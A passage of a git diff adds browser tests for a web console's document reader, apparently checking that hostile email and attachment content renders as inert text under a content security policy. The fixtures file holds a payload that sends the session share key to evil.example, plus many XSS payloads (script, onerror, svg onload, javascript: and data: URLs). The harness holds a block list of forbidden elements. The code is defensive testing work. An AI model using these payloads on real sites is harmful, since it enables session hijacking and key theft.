'ended: left' });+ const n = ctx.engine.apiLog().length;+ await page.goto(`${ctx.engine.origin}/_xerj-console/#/reader?index=ax-inbox`);+ await page.waitFor(`document.querySelector('[data-guest-ended="left"]')`, { label: 'the same ended screen after a reload' });+ const st = await page.eval(`({ path: location.pathname, share: sessionStorage.getItem('xerj.share'), ended: sessionStorage.getItem('xerj.share.ended'), all: JSON.stringify(Object.entries(sessionStorage)) })`);+ assert.equal(st.path, '/_xerj-console/', 'no bounce to /login');+ assert.equal(st.share, null);+ assert.equal(st.ended, 'left');+ assert.ok(!st.all.includes(GUEST_KEY), 'the marker holds no key');+ assert.equal(ctx.engine.apiLog().length, n, 'and the reload asked the engine for nothing — not even /me');+ // the engine's operator has a way out of it+ await page.eval(`(document.querySelector('[data-guest-operator]').click(), true)`);+ await page.waitFor(`location.pathname === '/_xerj-console/login'`, { label: 'operator sign-in' });+ assert.equal(await page.eval(`sessionStorage.getItem('xerj.share.ended')`), null);+ await page.close();+});++test('minor (PR #945 review): a reader deep link opened without a session is remembered across the login redirect', { skip }, async () => {+ const page = await ctx.browser.newPage();+ const link = '#/reader?index=ax-inbox&id=abc%22%3E';+ await page.goto(`${ctx.engine.origin}/_xerj-console/${link}`);+ await page.waitFor(`location.pathname === '/_xerj-console/login'`, { label: 'redirect to login' });+ assert.equal(await page.eval(`sessionStorage.getItem('xerj.next')`), link, 'login.html takes this back out after the passkey ceremony (data/next-route.js#takeNext)');+ await page.close();+});diff --git a/xerj-ux/test/browser/harness.mjs b/xerj-ux/test/browser/harness.mjsnew file mode 100644index 000000000..d22f04547--- /dev/null+++ b/xerj-ux/test/browser/harness.mjs@@ -0,0 +1,95 @@+// Shared setup + the in-page inertness census for the browser tests.+import assert from 'node:assert/strict';+import { launch, findChrome, browserRequired } from './cdp.mjs';+import { startFakeEngine, GUEST_KEY } from './fake-engine.mjs';++export { GUEST_KEY };++export function skipReason() {+ if (findChrome() && typeof WebSocket === 'function') return false;+ const why = findChrome() ? 'Node >= 22 is required (global WebSocket)' : 'no Chrome/Chromium found (set CHROME_BIN)';+ if (browserRequired()) throw new Error(`XERJ_REQUIRE_BROWSER=1 but ${why}`);+ return why;+}++export async function setup() {+ const engine = await startFakeEngine();+ const browser = await launch();+ return { engine, browser, async teardown() { await browser.close(); await engine.close(); } };+}++export function shareRecord(over = {}) {+ return { api_key: GUEST_KEY, index: 'ax-inbox', brain: 'inbox', expires_at: new Date(Date.now() + 3_600_000).toISOString(), label: 'Hostile inbox', ...over };+}++/** Open a fresh tab as a share-link guest: seed sessionStorage on a blank+ * same-origin page (what the share guest page does), then go to the console. */+export async function openGuest(ctx, { record = shareRecord(), hash = '' } = {}) {+ const page = await ctx.browser.newPage();+ await page.goto(`${ctx.engine.origin}/__blank`);+ await page.waitFor('document.readyState === "complete"');+ await page.eval(`sessionStorage.setItem('xerj.share', ${JSON.stringify(typeof record === 'string' ? record : JSON.stringify(record))}), true`);+ await page.goto(`${ctx.engine.origin}/_xerj-console/${hash}`);+ return page;+}++export async function openOperator(ctx, hash = '') {+ ctx.engine.state.operator = true;+ const page = await ctx.browser.newPage();+ await page.goto(`${ctx.engine.origin}/_xerj-console/${hash}`);+ return page;+}++/**+ * The census, run INSIDE the page. `scope` is a CSS selector; everything+ * under it is document-derived and must be inert.+ */+export async function census(page, scope) {+ return page.eval(`(() => {+ const root = document.querySelector(${JSON.stringify(scope)});+ if (!root) return { missing: true };+ const all = [root, ...root.querySelectorAll('*')];+ const forbidden = 'script,img,iframe,object,embed,style,link,meta,base,form,video,audio,source,math,template,details,frame,textarea,image,animate,foreignObject';+ const onAttrs = [], badHrefs = [], styleAttrs = [], srcAttrs = [];+ for (const el of all) {+ for (const a of el.attributes) {+ if (/^on/i.test(a.name)) onAttrs.push(el.tagName + '[' + a.name + ']');+ if (a.name === 'style') styleAttrs.push(el.tagName);+ if (['src', 'srcset', 'srcdoc', 'action', 'formaction', 'xlink:href', 'background', 'poster'].includes(a.name.toLowerCase())) srcAttrs.push(el.tagName + '[' + a.name + ']');+ }+ if (el.tagName === 'A' && el.hasAttribute('href') && !el.getAttribute('href').startsWith('#/')) badHrefs.push(el.getAttribute('href').slice(0, 80));+ }+ return {+ elements: all.length,+ forbidden: [...root.querySelectorAll(forbidden)].map((e) => e.tagName),+ svg: root.querySelectorAll('svg').length,+ onAttrs, badHrefs, styleAttrs, srcAttrs,+ anchors: root.querySelectorAll('a').length,+ marks: root.querySelectorAll('mark').length,+ text: root.textContent,+ };+ })()`);+}++export function assertCensusInert(c, label, { allowSvg = false, allowStyleAttr = false } = {}) {+ assert.ok(!c.missing, `${label}: scope not found`);+ assert.ok(c.elements > 3, `${label}: nothing rendered`);+ assert.deepEqual(c.forbidden, [], `${label}: forbidden elements in the DOM`);+ if (!allowSvg) assert.equal(c.svg, 0, `${label}: <svg> in document-derived DOM`);+ assert.deepEqual(c.onAttrs, [], `${label}: event-handler attributes`);+ assert.deepEqual(c.srcAttrs, [], `${label}: resource-loading attributes`);+ assert.deepEqual(c.badHrefs, [], `${label}: a clickable href that is not an in-app route`);+ if (!allowStyleAttr) assert.deepEqual(c.styleAttrs, [], `${label}: style attributes`);+}++const ALLOWED_THIRD_PARTY = /^https:\/\/fonts\.(googleapis|gstatic)\.com\//; // index.html's stylesheet link, as always++/** Nothing ran, nothing opened, nothing left the origin, the policy held. */+export async function assertNotPwned(page, origin, label) {+ const flags = await page.eval(`({ pwned: window.__xerjPwned || 0, csp: window.__cspViolations || [] })`);+ assert.equal(flags.pwned, 0, `${label}: a payload EXECUTED`);+ assert.deepEqual(page.dialogs, [], `${label}: a dialog opened`);+ assert.deepEqual(flags.csp, [], `${label}: Content-Security-Policy violations (the SPA and the shipped policy disagree, or something tried to break out)`);+ const foreign = page.requests.map((r) => r.url).filter((u) => /^https?:/.test(u) && !u.startsWith(origin + '/') && !ALLOWED_THIRD_PARTY.test(u));+ assert.deepEqual(foreign, [], `${label}: a request left the origin`);+}diff --git a/xerj-ux/test/browser/reader-xss.test.mjs b/xerj-ux/test/browser/reader-xss.test.mjsnew file mode 100644index 000000000..baee5392c--- /dev/null+++ b/xerj-ux/test/browser/reader-xss.test.mjs@@ -0,0 +1,299 @@+// Hostile documents, real Chrome, the real SPA under the shipped CSP.+// Run: node --test xerj-ux/test/browser/ (needs Chrome; Node >= 22)+import test from 'node:test';+import assert from 'node:assert/strict';+import { sleep } from './cdp.mjs';+import { setup, skipReason, openGuest, openOperator, census, assertCensusInert, assertNotPwned } from './harness.mjs';+import { PAYLOADS, HOSTILE_ID, hostileAttachment, hostileAttachment2, HL_PRE, HL_POST } from '../fixtures/hostile.mjs';++const skip = skipReason();+let ctx;+test.before(async () => { if (!skip) ctx = await setup(); });+test.after(async () => { if (ctx) await ctx.teardown(); });++const readerHash = (id) => `#/reader?index=ax-inbox&id=${encodeURIComponent(id)}`;++test('CONTROL: the fixtures are live — the same subject through innerHTML gets the page pwned', { skip }, async () => {+ const page = await ctx.browser.newPage();+ await page.goto(`${ctx.engine.origin}/__blank`);+ await page.eval(`sessionStorage.setItem('xerj.share', 'CANARY-KEY'), true`);+ await page.goto(`${ctx.engine.origin}/__canary`);+ await page.waitFor('window.__xerjPwned > 0', { label: 'the canary payload to execute' });+ const exfil = await (async () => { for (let i = 0; i < 40; i++) { const r = page.requests.find((x) => x.url.startsWith('https://evil.example/')); if (r) return r.url; await new Promise((res) => setTimeout(res, 50)); } return null; })();+ assert.ok(exfil && exfil.includes('CANARY-KEY'), 'and the harness SEES the key leaving for evil.example — so "no such request" below means something');+ await page.close();+});++test('guest reader: a hostile email with hostile attachments renders inert', { skip }, async () => {+ const page = await openGuest(ctx, { hash: readerHash(HOSTILE_ID) });+ await page.waitFor(`document.querySelector('[data-shape="email"]') && document.querySelectorAll('[data-rd-block="attachments"] .rd-att').length === 2 && document.querySelector('.rd-egroups')`, { label: 'email + attachments + graph' });+ // Search like a person: type, press Enter. The fragments that come back+ // were shaped by the attacker (they forge our delimiters, close a </mark>…).+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'invoice'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelectorAll('.rd-card mark').length >= 1`, { label: 'highlighted results' });+ const c = await census(page, '[data-guest-main]');+ assertCensusInert(c, 'guest reader');+ // The person SEES what the document says…+ for (const needle of [PAYLOADS.script, PAYLOADS.imgOnerror, PAYLOADS.svgOnload, '<html><body onload=', 'https://evil.example/pay', hostileAttachment._source.attachment_name, hostileAttachment2._source.attachment_name]) {+ assert.ok(c.text.includes(needle), `displayed as text: ${needle.slice(0, 40)}`);+ }+ // …highlights are <mark> elements, and the delimiters never show.+ assert.ok(c.marks >= 1, 'highlight fragments produce <mark>');+ assert.ok(!c.text.includes(HL_PRE) && !c.text.includes(HL_POST));+ // …and the graph panel's hostile node titles / edge types are text too.+ const g = await census(page, '.rd-graph');+ assertCensusInert(g, 'graph panel');+ assert.ok(g.anchors === 3 && g.text.includes(PAYLOADS.script));+ await assertNotPwned(page, ctx.engine.origin, 'guest reader');++ // The key is still where the share page put it, and nowhere else.+ const where = await page.eval(`({ ss: Object.keys(sessionStorage), ls: Object.keys(localStorage).filter((k) => /share|key/i.test(k)), cookie: document.cookie, html: document.documentElement.outerHTML.includes(${JSON.stringify('Z3Vlc3Qta2V5')}) })`);+ assert.deepEqual(where.ss, ['xerj.share']);+ assert.deepEqual(where.ls, []);+ assert.equal(where.cookie, '');+ assert.equal(where.html, false, 'the key never appears in the DOM');+ await page.close();+});++test('guest reader: clicking a hostile attachment opens IT — by route, not by its name', { skip }, async () => {+ const page = await openGuest(ctx, { hash: readerHash(HOSTILE_ID) });+ await page.waitFor(`document.querySelectorAll('[data-rd-block="attachments"] .rd-att').length === 2`);+ // att-2 is NAMED "javascript:…". Click it like a person would.+ await page.eval(`(document.querySelectorAll('[data-rd-block="attachments"] .rd-att')[1].click(), true)`);+ await page.waitFor(`document.querySelector('[data-shape="attachment"]') && location.hash.includes('id=att-2') && /FROM EMAIL/.test(document.querySelector('[data-guest-main]').textContent)`, { label: 'the attachment record + its parent email' });+ const c = await census(page, '[data-guest-main]');+ assertCensusInert(c, 'attachment record');+ assert.ok(c.text.includes(hostileAttachment2._source.attachment_name));+ assert.ok(c.text.includes('FROM EMAIL'), 'the parent email is linked back');+ await assertNotPwned(page, ctx.engine.origin, 'attachment click');+ // every other shape, by route+ for (const [id, shape] of [['att-1', 'attachment'], ['pdf-1', 'pdf'], ['sym-1', 'code-symbol'], ['gen-1', 'generic'], ['file-1', 'file']]) {+ await page.setHash(readerHash(id));+ await page.waitFor(`document.querySelector('[data-shape="${shape}"]') && location.hash.includes(${JSON.stringify('id=' + id)})`, { label: shape });+ assertCensusInert(await census(page, '[data-guest-main]'), shape);+ }+ // the file record lists the records that came out of the file, as links+ // (the message and its two attachments — every record of one .eml shares its ax_file)+ await page.waitFor(`/RECORDS IN THIS FILE · 3/.test(document.querySelector('[data-guest-main]').textContent)`, { label: 'file record siblings' });+ assert.equal(await page.eval(`document.querySelectorAll('[data-rd-block="siblings"] .rd-att').length`), 3);+ assertCensusInert(await census(page, '[data-guest-main]'), 'file record');+ await assertNotPwned(page, ctx.engine.origin, 'all shapes');+ await page.close();+});++test('guest corpus home renders hostile format names inert', { skip }, async () => {+ const page = await openGuest(ctx, { hash: '#/corpus' });+ await page.waitFor(`document.querySelector('[data-corpus-index="ax-inbox"] .cp-card__nums')`, { label: 'the shared dataset card' });+ const c = await census(page, '[data-guest-main]');+ assertCensusInert(c, 'guest corpus');+ assert.ok(c.text.includes(`eml${PAYLOADS.imgOnerror}`), 'a hostile format bucket is text');+ assert.ok(c.text.includes('7 records'));+ await assertNotPwned(page, ctx.engine.origin, 'guest corpus');+ await page.close();+});++test('a hostile hash route cannot inject or escape', { skip }, async () => {+ const evil = `#/reader?index=ax-inbox&id=${encodeURIComponent(PAYLOADS.imgOnerror)}&brain=${encodeURIComponent('../../_cat')}`;+ const page = await openGuest(ctx, { hash: evil });+ await page.waitFor(`/No such record|Not found/.test(document.querySelector('[data-guest-main]')?.textContent || '')`, { label: 'not-found state' });+ assertCensusInert(await census(page, '[data-guest-main]'), 'hostile route');+ // an index that is not in the share is ignored, not requested+ ctx.engine.state.log.length = 0;+ await page.setHash('#/reader?index=hr-salaries&id=1');+ await page.waitFor(`/No such record|Not found/.test(document.querySelector('[data-guest-main]')?.textContent || '')`);+ assert.deepEqual(ctx.engine.apiLog().filter((r) => r.path.includes('hr-salaries')), []);+ await assertNotPwned(page, ctx.engine.origin, 'hostile route');+ await page.close();+});++test('operator reader + corpus home: the same documents, through the session proxy, inert', { skip }, async () => {+ const page = await openOperator(ctx, readerHash(HOSTILE_ID));+ await page.waitFor(`document.querySelector('[data-safe-mount="reader"] [data-shape="email"]') && document.querySelectorAll('[data-rd-block="attachments"] .rd-att').length === 2`, { label: 'operator reader' });+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'invoice'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelectorAll('.rd-card mark').length >= 1`, { label: 'highlights through the session proxy' });+ const c = await census(page, '[data-safe-mount="reader"]');+ assertCensusInert(c, 'operator reader');+ assert.ok(c.text.includes(PAYLOADS.script) && c.marks >= 1);+ await assertNotPwned(page, ctx.engine.origin, 'operator reader');++ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-safe-mount="corpus"] [data-corpus-index="ax-inbox"]')`, { label: 'catalog card' });+ const k = await census(page, '[data-safe-mount="corpus"]');+ assertCensusInert(k, 'operator corpus');+ assert.ok(k.text.includes(`pdf${PAYLOADS.script}`), 'hostile catalog format');+ assert.ok(k.text.includes(`email_from${PAYLOADS.imgOnerror}`), 'hostile field name');+ // a sample-query button carries its query as DATA and lands in the reader+ await page.eval(`(document.querySelector('[data-corpus-query]').click(), true)`);+ await page.waitFor(`location.hash.startsWith('#/reader?index=ax-inbox') && document.querySelector('.rd-q')?.value.includes('invoice')`, { label: 'sample query → reader' });+ assertCensusInert(await census(page, '[data-safe-mount="reader"]'), 'reader after sample query');+ // PR #945 review: a sample query ran its TEXT over the Reader's one text+ // field and dropped the FIELD it was written for (0 results where the+ // catalog's own body found 5). The sample's field now rides along.+ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelectorAll('[data-corpus-query]').length >= 3`, { label: 'sample buttons' });+ await page.eval(`([...document.querySelectorAll('[data-corpus-query]')].find((b) => b.textContent.includes('samplefieldword')).click(), true)`);+ await page.waitFor(`document.querySelector('.rd-q')?.value === 'samplefieldword'`, { label: 'second sample → reader' });+ await sleep(250);+ const sent = ctx.engine.apiLog().map((r) => r.body).filter((b) => b && JSON.stringify(b.query || {}).includes('samplefieldword')).at(-1);+ assert.ok(sent, 'the sample ran');+ assert.ok(JSON.stringify(sent.query).includes('"ax_format"'), `the sample's own field is searched: ${JSON.stringify(sent.query)}`);+ assert.ok(JSON.stringify(sent.query).includes('"wildcard":{"email_subject"'), 'a keyword-typed subject gets the contains clause');+ await assertNotPwned(page, ctx.engine.origin, 'operator corpus');+ await page.close();+});++test('operator reader: changing the query type runs the text in the box, not the last submitted query', { skip }, async () => {+ // PR #945 review: after Enter on one query, typing another and picking a+ // type ran the OLD query under the new text.+ const page = await openOperator(ctx, readerHash(HOSTILE_ID));+ await page.waitFor(`document.querySelector('[data-safe-mount="reader"] [data-shape="email"]')`, { label: 'operator reader' });+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'invoice'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`/RESULTS/.test(document.querySelector('[data-rd-slot="list-head"]').textContent)`, { label: 'first search' });+ const searches = () => ctx.engine.state.log.filter((r) => r.path.endsWith('/ax-inbox/search') && r.body && r.body.highlight);+ const n = searches().length;+ assert.ok(n >= 1 && JSON.stringify(searches().at(-1).body.query).includes('invoice'));+ // type a NEW query, no Enter, then pick a type+ await page.eval(`(() => { document.querySelector('.rd-q').value = 'customer'; const s = document.querySelector('.rd-type'); s.value = 'phrase'; s.dispatchEvent(new Event('change', { bubbles: true })); return true; })()`);+ await page.waitFor(`/RESULTS/.test(document.querySelector('[data-rd-slot="list-head"]').textContent)`, { label: 'second search' });+ await page.waitFor(`${n + 1} <= ${searches().length}`);+ const sent = searches().at(-1).body.query;+ const text = JSON.stringify(sent);+ assert.ok(text.includes('customer') && !text.includes('invoice'), `the request carries the box text: ${text}`);+ assert.ok(text.includes('match_phrase'), 'and the picked type');+ // the picked type searched the subject and attachment-name fields too (fixture mapping has them).+ // Both are KEYWORD in the fixture mapping, as autoindex types them on a real+ // mailbox: they get a case-insensitive contains clause, because `match_phrase`+ // on a keyword needs the whole value (PR #945 review, measured on a live node).+ const [onBody, onSubject, onName] = sent.bool.should;+ assert.deepEqual(onBody, { match_phrase: { body: 'customer' } });+ assert.deepEqual(onSubject, { bool: { must: [{ wildcard: { email_subject: { value: '*customer*', case_insensitive: true } } }], must_not: [{ exists: { field: 'attachment_name' } }] } });+ assert.deepEqual(onName, { wildcard: { attachment_name: { value: '*customer*', case_insensitive: true } } });+ assert.equal(sent.bool.should.length, 3);+ assert.deepEqual(Object.keys(searches().at(-1).body.highlight.fields), ['body', 'email_subject', 'attachment_name'], 'highlights are asked for the same fields');+ assert.equal(await page.eval(`document.querySelector('.rd-q').value`), 'customer');+ await assertNotPwned(page, ctx.engine.origin, 'type change');+ await page.close();+});++test('the link `xerj brain` prints (#/second-brain?brain=…) opens the Second Brain view even when the brains probe is refused — never a SAMPLE DATA dashboard', { skip }, async () => {+ // On an auth-enabled engine `GET /_cat/indices/.xerj-memory-*` answers 401+ // to a console session (this fake does the same without a key), so the+ // Second Brain dashboard is "gated". The printed link is explicit and must+ // resolve to it (PR #945 review: it fell through to System's host metrics).+ const page = await openOperator(ctx, '#/second-brain?brain=inbox');+ await page.waitFor(`document.getElementById('app')?.getAttribute('aria-busy') === 'false' && !!document.querySelector('h1.h-scene')`, { label: 'the routed view' });+ await new Promise((r) => setTimeout(r, 300));+ const v = await page.eval(`({ h1: document.querySelector('h1.h-scene').textContent, hash: location.hash, text: document.getElementById('app').textContent, pill: document.querySelector('[data-nav-status]')?.textContent || '' })`);+ assert.equal(v.h1, 'SECOND BRAIN', `landed on ${v.h1}`);+ assert.equal(v.hash, '#/second-brain?brain=inbox');+ assert.ok(!/HOST METRICS|SAMPLE DATA/.test(v.text), 'no sample telemetry in place of the brain');+ assert.match(v.text, /REFUSED THIS CONSOLE SESSION/, 'and the view says the probe was refused, not that the engine is down');+ assert.doesNotMatch(v.pill, /^LIVE/);+ assert.match(v.pill, /refused this console session/i);+ // the same for the /dashboards/ form, and the bare default still falls through+ await page.setHash('#/dashboards/second-brain?brain=inbox');+ await page.waitFor(`document.querySelector('h1.h-scene')?.textContent === 'SECOND BRAIN'`);+ await page.setHash('#/dashboards');+ await page.waitFor(`document.querySelector('h1.h-scene') && document.querySelector('h1.h-scene').textContent !== 'SECOND BRAIN'`, { label: 'the bare dashboards route falls through to a visible dashboard' });+ await assertNotPwned(page, ctx.engine.origin, 'deep link');+ await page.close();+});++test('operator graph panel: two brains over one index — the links come from the brain that has them, and the panel names both', { skip }, async () => {+ // PR #945 review: `xerj brain casefile` + `xerj brain vendors` on one node →+ // two brains list ax-docs; the panel walked the first `_cat` listed and said+ // "no links" for the other brain's records. `other` is listed first here and+ // holds nothing for the fixtures; `inbox` holds the hostile ego.+ ctx.engine.state.openGraph = true;+ ctx.engine.state.brains = ['other', 'inbox'];+ ctx.engine.state.log.length = 0;+ try {+ const page = await openOperator(ctx, readerHash(HOSTILE_ID));+ await page.waitFor(`document.querySelector('[data-safe-mount="reader"] .rd-egroups')`, { label: 'graph groups', timeoutMs: 20000 });+ const g = await census(page, '.rd-graph');+ assertCensusInert(g, 'two-brain graph panel');+ assert.equal(g.anchors, 3, 'the hostile ego\'s three neighbours');+ assert.match(g.text, /3 linked records · brains other, inbox consulted · links in inbox · 1 hop/);+ const hrefs = await page.eval(`[...document.querySelectorAll('.rd-neigh')].map((a) => a.getAttribute('href'))`);+ assert.ok(hrefs.length === 3 && hrefs.every((h) => h.includes('brain=inbox')), `each neighbour links into the brain its link came from: ${hrefs}`);+ const asked = ctx.engine.state.log.filter((r) => /^\/_graph\/[^/]+\/ego$/.test(r.path)).map((r) => r.path);+ assert.deepEqual([...new Set(asked)], ['/_graph/other/ego', '/_graph/inbox/ego'], 'both candidates were asked');+ // an explicit hint walks that brain alone+ await page.setHash(`${readerHash(HOSTILE_ID)}&brain=other`);+ await page.waitFor(`/Brain other records no links/.test(document.querySelector('.rd-graph').textContent)`, { label: 'the hint alone' });+ await assertNotPwned(page, ctx.engine.origin, 'two brains');+ await page.close();+ } finally {+ ctx.engine.state.openGraph = false;+ ctx.engine.state.brains = ['inbox'];+ }+});++test('operator Discover: hostile hits, facet values and FIELD NAMES stay text', { skip }, async () => {+ const page = await openOperator(ctx, '#/discover');+ await page.waitFor(`document.querySelectorAll('.hits-list .hit').length >= 7 && document.querySelector('.facet')`, { label: 'Discover hits + facets' });+ // Discover is the shell's string-built HTML (esc() at every interpolation),+ // with legitimate <svg> bars and style="" attributes — so census every+ // panel that carries document data, allowing those two and nothing else.+ // (The citations panel links out to GitHub; its hrefs are code constants.)+ let text = '';+ for (const panel of ['searchbox', 'hits', 'facets', 'histogram', 'searchMetrics', 'dsl']) {+ const c = await census(page, `[data-panel="${panel}"]`);+ assertCensusInert(c, `Discover/${panel}`, { allowSvg: true, allowStyleAttr: true });+ text += c.text;+ }+ // …and across the WHOLE app no element carries an on* attribute.+ assert.deepEqual((await census(page, '#app')).onAttrs, []);+ assert.ok(text.includes(PAYLOADS.script), 'hit source is shown as text');+ assert.ok(text.includes(PAYLOADS.attrBreakout), 'a hostile facet value is text');+ assert.ok(text.includes(`field${PAYLOADS.imgOnerror}`.toUpperCase()) || text.includes(`field${PAYLOADS.imgOnerror}`), 'a hostile FIELD NAME is text');+ assert.ok(text.includes('ax-inbox'), 'the resolved index is named');+ // the executed request is what the REQUEST panel shows+ const shown = await page.eval(`document.querySelector('.qdsl')?.textContent || ''`);+ const sent = ctx.engine.state.log.filter((r) => r.path.endsWith('/ax-inbox/search')).length;+ assert.ok(sent >= 1 && /"track_total_hits": true/.test(shown) && /"by_email_from"/.test(shown));+ await assertNotPwned(page, ctx.engine.origin, 'Discover');++ // A failing search shows the failure and ZERO rows — never a sample.+ ctx.engine.state.fail.proxySearch = 500;+ await page.eval(`(() => { const i = document.querySelector('[data-search-input]'); i.value = 'earnout'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); i.dispatchEvent(new KeyboardEvent('keyup', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelector('[data-hits-state="error"]')`, { label: 'the error state' });+ const after = await page.eval(`({ rows: document.querySelectorAll('.hits-list .hit').length, text: document.querySelector('[data-panel="hits"], .panel')?.closest('#app').textContent })`);+ assert.equal(after.rows, 0, 'no rows under a failed search');+ assert.ok(/Search failed/.test(after.text) && /No rows are shown in its place/.test(after.text));+ ctx.engine.state.fail = {};+ await page.close();+});++test('the whole operator console runs under the shipped policy with zero violations', { skip }, async () => {+ // The policy is new; the console is not. Every section the operator can+ // reach has to keep working under `script-src 'self'; connect-src 'self'`,+ // or the policy would have broken it silently (a blocked fetch is just a+ // failed fetch). The fake node answers most telemetry calls 404 — that is+ // fine; what must not happen is a VIOLATION.+ const page = await openOperator(ctx, '#/corpus');+ await page.waitFor(`document.querySelector('[data-nav-status]')`, { label: 'operator shell' });+ const routes = ['#/dashboards/ai-overview', '#/dashboards/rag-quality', '#/dashboards/vector-index', '#/dashboards/agent-memory', '#/dashboards/second-brain?brain=inbox',+ '#/dashboards/logs-overview', '#/dashboards/anomaly-detect', '#/dashboards/ingest-pipeline', '#/dashboards/system', '#/discover', '#/reader', '#/alerts', '#/data', '#/users', '#/settings', '#/corpus'];+ for (const r of routes) {+ await page.setHash(r);+ await page.waitFor(`document.getElementById('app').getAttribute('aria-busy') === 'false' && document.querySelector('.h-scene, h1')`, { label: r });+ await new Promise((res) => setTimeout(res, 150));+ const v = await page.eval('window.__cspViolations');+ assert.deepEqual(v, [], `${r}: Content-Security-Policy violation`);+ // Honest data-source status, per view: this node holds no telemetry, so a+ // telemetry dashboard is showing the in-memory sample — and must SAY so.+ // Only the views that really read the engine may say LIVE.+ const pill = await page.eval(`document.querySelector('[data-nav-status]')?.textContent || ''`);+ const telemetry = /ai-overview|rag-quality|vector-index|agent-memory|logs-overview|anomaly-detect|ingest-pipeline|system|alerts|users/.test(r);+ if (telemetry) {+ assert.match(pill, /MOCK FALLBACK|SAMPLE DATA/, `${r}: a sample-backed view must be labelled (${pill})`);+ assert.doesNotMatch(pill, /^LIVE/, `${r}: a sample-backed view must never claim LIVE`);+ }+ if (/corpus|discover|data$/.test(r)) assert.match(pill, /^LIVE/, `${r}: ${pill}`);+ }+ // theme switch + edit mode toggle exercise the shell's own handlers+ await page.eval(`(document.querySelector('[data-theme-set="day"], [data-theme="day"], [data-theme-toggle]')?.click(), true)`);+ await assertNotPwned(page, ctx.engine.origin, 'operator console tour');+ await page.close();+});diff --git a/xerj-ux/test/fixtures/hostile.mjs b/xerj-ux/test/fixtures/hostile.mjsnew file mode 100644index 000000000..1d41aff69--- /dev/null+++ b/xerj-ux/test/fixtures/hostile.mjs@@ -0,0 +1,204 @@+// ============================================================+// Hostile fixtures for the corpus home, the reader and the guest shell.+//+// Every string here is something a stranger can put into YOUR index by+// mailing you, by naming an attachment, or by writing a file you later point+// `xerj brain` at. Each payload, if it ever executed, sets+// `window.__xerjPwned` (and most also try to read the guest key out of+// sessionStorage) — the browser tests assert that flag is never set, that no+// dialog opens, and that no request leaves for `evil.example`.+//+// Shared by the node tests (pure render → node tree) and the browser tests+// (real Chrome, real DOM). `.mjs` on purpose: xerj-console-api/build.rs+// bundles every `.js` / `.html` under xerj-ux/ into the server binary.+// ============================================================++const PWN = "window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('https://evil.example/k?'+sessionStorage.getItem('xerj.share'))";++export const PAYLOADS = {+ script: `<script>${PWN}</script>`,+ imgOnerror: `<img src=x onerror="${PWN}">`,+ svgOnload: `<svg onload="${PWN}"><animate onbegin="${PWN}" attributeName=x dur=1s></svg>`,+ svgScript: `<svg><script>${PWN}</script></svg>`,+ iframeSrcdoc: `<iframe srcdoc="<script>parent.__xerjPwned=1</script>"></iframe>`,+ iframeJs: `<iframe src="javascript:${PWN}"></iframe>`,+ attrBreakout: `"><img src=x onerror=${PWN}>`,+ attrBreakout1: `'><svg/onload=${PWN}>`,+ eventAttr: `" onmouseover="${PWN}" autofocus onfocus="${PWN}" x="`,+ jsUrl: `javascript:${PWN}`,+ jsUrlObf: ` \tjava\nscript:${PWN}`,+ dataUrl: `data:text/html,<script>${PWN}</script>`,+ vbUrl: `vbscript:msgbox(1)`,+ anchor: `<a href="javascript:${PWN}">click me</a>`,+ mdLink: `[click](javascript:${PWN})`,+ style: `<style>*{background:url("https://evil.example/css")}</style>`,+ linkTag: `<link rel=stylesheet href="https://evil.example/x.css">`,+ metaRefresh: `<meta http-equiv="refresh" content="0;url=https://evil.example/">`,+ base: `<base href="https://evil.example/">`,+ form: `<form action="https://evil.example/"><input name=k><button>go</button></form>`,+ object: `<object data="https://evil.example/x.swf"></object><embed src="https://evil.example/y">`,+ template: '${' + PWN + '}{{constructor.constructor("' + PWN + '")()}}',+ entity: `<img src=x onerror=${PWN}>`,+ mathml: `<math><mtext><table><mglyph><style><img src=x onerror=${PWN}>`,+ details: `<details open ontoggle="${PWN}">x</details>`,+};++export const ALL_PAYLOADS = Object.values(PAYLOADS).join('\n');++// U+E000 / U+E001 — the reader's highlight delimiters (ux/safe-dom.js).+export const HL_PRE = String.fromCharCode(0xe000);+export const HL_POST = String.fromCharCode(0xe001);++/** Highlight fragments an attacker shapes by choosing the document text —+ * including forging the delimiters themselves. */+export const HOSTILE_FRAGMENTS = [+ `${HL_PRE}invoice${HL_POST} ${PAYLOADS.imgOnerror}`,+ `${HL_PRE}${PAYLOADS.script}${HL_POST}`,+ `</mark>${PAYLOADS.svgOnload}<mark>${HL_PRE}x${HL_POST}`,+ `${HL_PRE}unterminated ${PAYLOADS.imgOnerror}`,+ `${HL_POST}reversed${HL_PRE} ${PAYLOADS.attrBreakout}`,+ `${HL_PRE}${HL_PRE}nested${HL_POST}${HL_POST} ${PAYLOADS.iframeJs}`,+ `<em>${PAYLOADS.imgOnerror}</em> default-tag fragment`,+];++export const HOSTILE_ID = `m1"><img src=x onerror=${PWN}>`;++export const hostileEmail = {+ _index: 'ax-inbox',+ _id: HOSTILE_ID,+ _score: 3.2,+ _source: {+ email_subject: `Overdue invoice ${PAYLOADS.script}${PAYLOADS.imgOnerror}`,+ email_from: `Mallory ${PAYLOADS.svgOnload} <[email protected]>`,+ email_to: [`[email protected]`, PAYLOADS.attrBreakout],+ email_cc: PAYLOADS.eventAttr,+ email_date: `2026-09-01T10:00:00Z${PAYLOADS.attrBreakout1}`,+ email_message_id: `<[email protected]>${PAYLOADS.iframeSrcdoc}`,+ email_in_reply_to: PAYLOADS.jsUrl,+ ax_path: `inbox/${PAYLOADS.attrBreakout}.eml`,+ ax_format: `eml${PAYLOADS.imgOnerror}`,+ // An HTML email whose markup reached the index as text.+ body: `<html><body onload="${PWN}">Dear customer,\n${ALL_PAYLOADS}\nClick https://evil.example/pay or ${PAYLOADS.jsUrl}\n</body></html>`,+ },+ highlight: { body: 